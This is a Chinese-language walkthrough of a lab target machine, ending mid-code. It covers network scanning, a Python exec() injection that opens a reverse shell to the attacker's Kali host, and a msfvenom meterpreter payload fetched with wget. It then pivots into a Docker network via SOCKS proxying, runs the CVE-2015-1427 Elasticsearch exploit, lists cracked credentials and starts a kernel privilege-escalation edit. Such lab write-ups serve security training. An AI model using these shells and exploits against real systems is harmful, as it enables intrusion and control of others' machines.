需要你確定的事情:
靶機安裝時部分錯誤解決方法【注:安裝於 VirtualBox 】
網路設定為 僅主機模式 (Host-only)
使用 VirtualBox 啟動虛擬機器器系統時碰到「不能為虛擬電腦開啟一個新的任務」的錯誤提示,並提示 Implementation of the USB 2.0 controller not found!
Implementation of the USB 2.0 controller not found!
Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings.
Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
解決方法是在 設定 --> USB裝置: 「USB 1.1 控制器」
Kali 網路設定:
kali 在 VMware 上設定雙網路卡:橋接模式 + NAT模式;使用 VMware 虛擬網路編輯器【以管理員身份開啟】:將橋接模式的網路卡 VMnet0 的橋接(G) 到 VirtualBox 網路卡
kali 在 VirtualBox 上設定雙網路卡:Host-only模式 + NAT模式;在 kali 的設定中網路選項
兩種位置,最後都要開啟 kali 進行偵錯,如果不會 vim 先檢視一下使用方法避免錯誤操作
# 在命令列,使用前確定你是否是 root 如果不是需要新增 sudo
vim /etc/network/interfaces
vim 寫入內容【 interfaces 檔案最後】
auto eth1
iface eth1 inet dhcp
退出 vim 後在 命令列中
# 重啟網路服務
service networking restart
# 檢視網路設定,確認 eth0 與 eth1 的 ip 設定是否正常
ip a
如果在 ip a
有部分問題可以重啟 kali 再檢視,如果網路設定依舊有問題,建議學習一下 Linux 網路設定的基本知識
可以使用 arp-scan
一類掃描工具,在使用工具前都需要 注意自身許可權問題 ,必要時使用 sudo
arp-scan: 使用命令 arp-scan -l
掃描
此命令是預設掃描,通過 eth0 進行的,如果你設定網路時 kali 與 靶機對接的網路是 eth1 需要指定掃描的介面 使用 --interface=
引數,此引數可以簡寫 I
arp-scan -l --interface=eth1
# 或者
arp-scan -l -I eth1
通過 arp-scan 掃描得到資訊:
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: 08:00:27:f1:f5:a6, IPv4: 192.168.56.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:ef:45:40 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:ff:2c:c8 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.294 seconds (111.60 hosts/sec). 3 responded
我們可以大概鎖定以下目標,使用 nmap 進行對埠進行探索
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:ef:45:40 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:ff:2c:c8 PCS Systemtechnik GmbH
nmap: 比較簡單的用法 nmap IP地址
-p
掃描埠,如果是全部埠使用 -
指代,比如:nmap -p- 192.168.56.101
-sV
對埠上的服務程式版本進行掃描在掃描中發現 192.168.56.101
開發埠 22,5000
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:24 CST
Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
對 192.168.56.101
開發埠 22,5000 進一步掃描發現兩個埠的服務程式版本
┌──(kali㉿kali)-[~]
└─$ nmap -p22,5000 -sV 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:31 CST
Nmap scan report for 192.168.56.101
Host is up (0.00078s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds
其中 5000 有 http 服務可以嘗試在瀏覽器中存取一下 http://192.168.56.101:5000
使用工具 dirsearch
進行探查
--url=
,比如:dirsearch --url=http://192.168.56.101:5000/
使用 dirsearch 進行簡單探查發現隱藏目錄 /admin
其中 admin 英文含義就可以知道這個隱藏頁面與管理員可能有關係,可以對其存取 http://192.168.56.101:5000/admin
┌──(kali㉿kali)-[~]
└─$ dirsearch --url=http://192.168.56.101:5000/ 130 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/192.168.56.101-5000/-_22-10-18_11-40-29.txt
Error Log: /home/kali/.dirsearch/logs/errors-22-10-18_11-40-29.log
Target: http://192.168.56.101:5000/
[11:40:29] Starting:
[11:40:58] 200 - 401B - /admin
Task Completed
存取後發現,裡面的提示 Nothing was ran. Input some code to exec()
此內容與 python 相關,在前面埠探測中也知道此網站是 Werkzeug httpd 0.14.1 (Python 2.7.15)
而 Python 2.7.15 的 exec() 常用於儲存在字串中的程式碼語句執行,那麼我們可以嘗試查詢關於 Python 2.7.15
反彈 shell 的程式碼,通過 exec() 進入 192.168.56.101
這臺機器了
Python 2.7.15
反彈 shell
首先我們需要開啟 kali 的監聽,監聽可以使用命令 netcat
也可以使用簡化命令 nc
netcat 部分引數
# 使用埠注意,建議使用埠是 1024~49151 範圍以內
# 公認埠:0~1023
# 註冊埠:1024~49151
# 動態埠:49152~65535
netcat -lnvp 23333
在 http://192.168.56.101:5000/admin
頁面內容注入 python 程式碼
import os,subprocess,socket
# 建立通訊端
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket.AF_INET代表使用IPv4協定,socket.SOCK_STREAM 代表使用面向流的Tcp協定
# 建立通訊
s.connect(('192.168.56.103',23333))
# 重定向,保障通訊的輸入與輸出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
# 生成反彈的 shell
p=subprocess.call(["/bin/sh","-i"])
# 使用時壓縮上面的程式碼,以便 exec() 執行
import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
最終得到響應的反射 shell 結果,從此處我們就可以控制 192.168.56.101
這臺機器了,並且有 root 級別許可權
┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
但我們還需要進一步深入探索,排除是否處在容器或蜜罐陷阱中
首先探索一下目錄內容,檢視是否有什麼特別的
┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat ./Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"]
發現其中有 Dockerfile 檔案,檢視裡面的 發現我們可能處在容器中
.dockerenv
檔案/proc/1/cgroup
中的內容是否大量與 docker 有關/app # ls /.dockerenv
/.dockerenv
/app # cat /proc/1/cgroup
11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
自此已經有相當大的把握確定我們處在容器中
內網流量代理
Client -> proxy -> Target
Client <--> proxy <--> firewall <--> Target
代理需要關注 Socks 協定,代理工具一般的版本支援
代理工具
本處我們使用 MSF 進行內網穿透,如果沒有 kali 安裝命令 sudo apt-get install metasploit-framework
首頁使用 msfvenom
生成 linux/x64/meterpreter/reverse_tcp
模組的木馬
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
上傳生成的木馬 shell.elf 通過在本地當前目錄【shell.elf 所在的目錄】使用 python3 -m http.server 80
掛起一個 HTTP 服務
在目標容器系統中使用 wget
命令 [wget httlp://kali的ip地址/shell.elf] 下載原生的 shell.elf 之後使用 ls 命令確認其存在
在 kali 上使用 msfconsole
命令後執行下列程式碼 >
掛起kali本地自己 192.168.56.103:4444
的監聽
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.56.103
lhost => 192.168.56.103
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在目標容器系統中改 shell.elf 檔案許可權,使其可以執行並將其執行,也可以 chmod +x ./shell.elf && ./shell.elf
之後檢視 kali 是否響應
/app # chmod +x ./shell.elf
/app # ./shell.elf
在響應後使用 shell
呼叫目標容器系統 shell 進行簡單的探查,比如使用 ip a
檢視目標容器系統的內網狀態,確定其內網網段 172.17.0.3/16
後使用 exit;
退出
```txt
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Sending stage (3045348 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.103:4444 -> 192.168.56.101:36424) at 2022-10-19 17:38:38 +0800
meterpreter > shell
Process 18 created.
Channel 1 created.
ls
Dockerfile
main.py
requirements.txt
shell.elf
templates
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
exit
```
將獲取的網段 172.17.0.3/16
-> 172.17.0.0/16
新增路由 run autoroute -s 172.17.0.0/16
命令,檢視是否成功新增 run autoroute -p
meterpreter > run autoroute -s 172.17.0.0/16
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.17.0.0/255.255.0.0...
[+] Added route to 172.17.0.0/255.255.0.0 via 192.168.56.101
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
172.17.0.0 255.255.0.0 Session 1
建立成功之後我們將當前的對談掛起,使用 background
是將當前 msf 對談掛起,想重新利用對談使用 sessions -i
其中 i 是對談編號
meterpreter > background
[*] Backgrounding session 1...
好的,我們已經完成了最重要的一般,接下來是 socks 代理
繼續前面的,使用 use auxiliary/server/socks_proxy
進入代理模組
set VERSION 4a
set SRVHOST Kali的IP
show options
exploit
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
VERSION => 4a
msf6 auxiliary(server/socks_proxy) > set SRVHOST 192.168.56.103
SRVHOST => 192.168.56.103
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.103 yes The local host or network interface to listen on. This must be an address on the l
ocal machine or 0.0.0.0 to listen on all addresses.
SRVPORT 1080 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
下一步,設定本地 proxychains 代理鏈工具【先確定是否安裝,推薦使用新的 proxychains4】,上面的 shell 不用關閉,再開一個 kali 的 shell 並且在新的命令列使用命令,設定 proxychains 的代理列表新增 socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]
touch proxychains.conf # 建立目錄級的 proxychains 組態檔,我們不汙染系統級的組態檔
sudo cat /etc/proxychains4.conf > ./proxychains.conf # 將系統級的組態檔復刻到當前目錄的組態檔 proxychains.conf
vim ./proxychains.conf # 只需要修改最後一行 socks4 127.0.0.1 9050 改為 socks4 192.168.56.103 1080
完成整個代理步驟後可以通過 proxychains
或 proxychains4
作為其他命令字首探索內網,但我們使用的是目錄級 proxychains 組態檔實驗需要使用 -f
引數指定組態檔
proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24 # 172.17.0.0/24 是目標容器系統的內網網段,掃描過程中可能會比較費時【段掃描數量太大】
我們使用之前 msf 的那個 shell 執行 sessions -1
回到之前的掛起的對談,使用 arp a
簡單說明判斷其他存活的 ip
meterpreter > arp -a
ARP cache
=========
IP address MAC address Interface
---------- ----------- ---------
172.17.0.1 02:42:e9:66:7d:b6
用 proxychains 的那個 shell 執行 nmap 掃描 172.17.0.1
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap 172.17.0.1
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 19:15 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:80 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:25 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:993 <--denied
......
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:555 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:2047 <--denied
Nmap scan report for 172.17.0.1
Host is up (0.0074s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
行好,我們已經可以在目標容器內網使用 kali 了,下面我們真正的目標發起攻擊
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1 255 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:24 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:22 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:22 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
Nmap scan report for 172.17.0.1
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
http://172.17.0.1:5000
瀏覽器代理方法自行百度,重點使用手動設定代理設定 SOCKS 主機
與前面 proxychains.conf 一致172.17.0.1
便是之前 192.168.56.101
的宿主機測試探索 172.17.0.2
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2 130 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:39 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:1720 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:1025 <--denied
......
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:9200 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:9200 ... OK
Nmap scan report for 172.17.0.2
Host is up (0.0066s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
9200/tcp open http Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.58 seconds
發現新線索,172.17.0.2
的 9200 埠開啟,執行服務 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 說明:Elasticsearch 是位於 Elastic Stack 核心的分散式搜尋和分析引擎
此處我們可以使用 searchsploit
查詢 Elasticsearch 相關漏洞並嘗試,攻入其中
──(kali㉿kali)-[~/Workspace]
└─$ searchsploit Elasticse 130 ⨯
----------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------- ---------------------------------
ElasticSearch - Remote Code Execution | linux/remote/36337.py
ElasticSearch - Remote Code Execution | multiple/webapps/33370.html
ElasticSearch - Search Groovy Sandbox Bypass (Metasploit) | java/remote/36415.rb
ElasticSearch 1.6.0 - Arbitrary File Download | linux/webapps/38383.py
ElasticSearch 7.13.3 - Memory disclosure | multiple/webapps/50149.py
ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal | php/webapps/37054.py
ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit) | java/remote/33588.rb
Elasticsearch ECE 7.13.3 - Anonymous Database Dump | multiple/webapps/50152.py
----------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
嘗試一個 /usr/share/exploitdb/exploits/linux/remote/36337.py
但注意是否安裝 python2
以及其 requests
如果沒有使用以下程式碼
sudo apt-get install python2 # 安裝 python2
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py # 安裝 python2 的 pip2 如果有就跳過此步
python2 -m pip install requests # 安裝 requests 包
proxychains4 -f ./proxychains.conf python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 # 利用 36337.py 指令碼
進入其中
──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf python2 36337.py 172.17.0.2
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$
可以看到下面報錯了,檢視錯誤是 ElasticSearch Groovy 沙盒繞過 && 程式碼執行漏洞(CVE-2015-1427) 想要要利用需要先查詢時至少要求es中有一條資料,所以傳送如下封包,增加一個資料
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains python2 a.py 172.17.0.2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$ id
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
uid=0(root) gid=0(root) groups=0(root)
~$
使用 curl
在 Elasticsearch 新增一條資料 curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}' 1 ⨯
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
{"_index":"doc","_type":"test","_id":"AYP5xrq3R3Be1eJ72Xz3","_version":1,"created":true}
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains python2 a.py 172.17.0.2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$ id
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
uid=0(root) gid=0(root) groups=0(root)
~$
並且發現了一個passwords檔案,檢視檔案得到一些賬號密碼使用 md5
進行解密【網路上一般有線上解密MD5的網站】,並將其解碼得到密碼,其中只有 john:1337hack
可以用於登入
john:1337hack;
test:1234test;
admin:1111pass;
root:1234pass;
jane:1234jane
使用得到的 john:1337hack
登入 192.168.56.102
檢視是否有 root 許可權發現沒有,需要進行提權
john@socnet:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
探索一下目標上的資訊 uname -a
發現其版本 Linux socnet 3.13.0-24-generic 通過 searchsploit 查詢相關核心漏洞
john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
可以嘗試的核心漏洞
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege E | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txt
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privile | linux_x86-64/local/33516.c
嘗試 linux/local/37292.c
漏洞檢視一下,發現其中存在依賴 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
我們需要去除依賴gcc部分因為目標上沒有 gcc
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
/*
